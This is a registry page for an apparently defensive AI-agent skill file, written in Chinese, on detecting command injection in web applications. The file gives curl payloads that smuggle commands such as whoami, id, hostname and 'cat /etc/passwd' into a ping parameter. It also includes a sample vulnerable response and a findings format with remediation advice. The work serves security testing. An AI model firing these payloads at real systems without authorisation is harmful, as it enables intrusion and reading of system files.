command-injection
Skill953 starsChanged 2 months agoApache-2.0View on GitHub
命令注入发生在 Web 应用将用户输入未过滤直接拼接到系统命令中时,攻击者可执行任意系统命令。 常见成因: - 用户输入直接拼接 shell 命令(ping {user_input}) - 未过滤特殊字符(; | && $() 反引号) - 使用 system() exec() popen() 等危险函数 常见场景: - 网络诊断功能(ping/traceroute/nslookup) - 文件操作功能(压缩/解压/转换) - 系统管理接口(重启服务/查看日志) Payload 1 — 分号分隔: Payload 2 — 管道符: Payload 3 — && 逻辑与: Payload 4 — 命令替换: 判断依据: - 响应包含 uid= → id 命令被执行 - 响应包含主机名 → hostname 命令被执行 - 响应包含 /etc/passwd 内容 → cat 命令被执行
5 other projects use a version of this.
Adopted by
Most recently taken up by
- blacklanternsecurity/red-runtheir own version, first seen Oct 25, 2026
- awarexone/AXguardtheir own version, first seen Sep 15, 2026
- ajtazer/heckittheir own version, first seen Sep 11, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Used with
Projects with it also use prototype-pollution.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
yaklangSkillprototype-pollution
Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
Also in 3 projects that use this
Other versions5 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 5
- blacklanternsecurity/red-run★ 296same name
- awarexone/AXguard★ 17same name
- langbyyi/websec-skills★ 4same name
- ajtazer/heckit★ 2same name
- KaanBicaklar/mona-sast-skills★ 2same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository13 other files it gives its agents.
- csrfSkill
- deserializationSkill
- file-inclusionSkill
- file-uploadSkill
- info-disclosureSkill
- open-redirectSkill
- path-traversalSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- webpack-js-analysisSkill
- xssSkill
- xxeSkill
The file
Files
命令注入漏洞检测技能
原理
命令注入发生在 Web 应用将用户输入未过滤直接拼接到系统命令中时,攻击者可执行任意系统命令。
常见成因:
- 用户输入直接拼接 shell 命令(
ping {user_input}) - 未过滤特殊字符(
;|&&$()反引号) - 使用
system()exec()popen()等危险函数
常见场景:
- 网络诊断功能(ping/traceroute/nslookup)
- 文件操作功能(压缩/解压/转换)
- 系统管理接口(重启服务/查看日志)
检测方法
1. 定位注入点
- Ping 功能:
/api/ping?host=127.0.0.1 - DNS 查询:
/api/nslookup?domain=example.com - 文件转换:
/api/convert?file=test.pdf
2. 构造命令拼接 Payload
Payload 1 — 分号分隔:
curl "http://target/api/ping?host=127.0.0.1;whoami"Payload 2 — 管道符:
curl "http://target/api/ping?host=127.0.0.1|id"Payload 3 — && 逻辑与:
curl "http://target/api/ping?host=127.0.0.1%26%26cat%20/etc/passwd"Payload 4 — 命令替换:
curl "http://target/api/ping?host=\$(hostname)"
curl "http://target/api/ping?host=\`hostname\`"3. 验证命令执行
判断依据:
- 响应包含
uid=→id命令被执行 - 响应包含主机名 →
hostname命令被执行 - 响应包含
/etc/passwd内容 →cat命令被执行
示例响应:
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.042 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)工具
| 工具 | 用途 |
| curl | 命令行测试注入 |
| Burp Suite | 抓包修改参数 |
| Commix | 自动化命令注入工具 |
输出格式
{
"finding_id": "command-injection-001",
"issue_type": "command-injection",
"severity": "critical",
"endpoint": "/api/ping",
"parameter": "host",
"payload": "127.0.0.1;whoami",
"evidence": "响应包含 uid=33(www-data)",
"remediation": "使用参数化命令(subprocess list 形式),过滤特殊字符"
}注意事项
- 只读原则:仅检测,不执行危险命令(如删除系统文件)
- 无害 Payload:使用
whoamiidhostname验证 - 零触网:测试用 mock 或本地环境
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

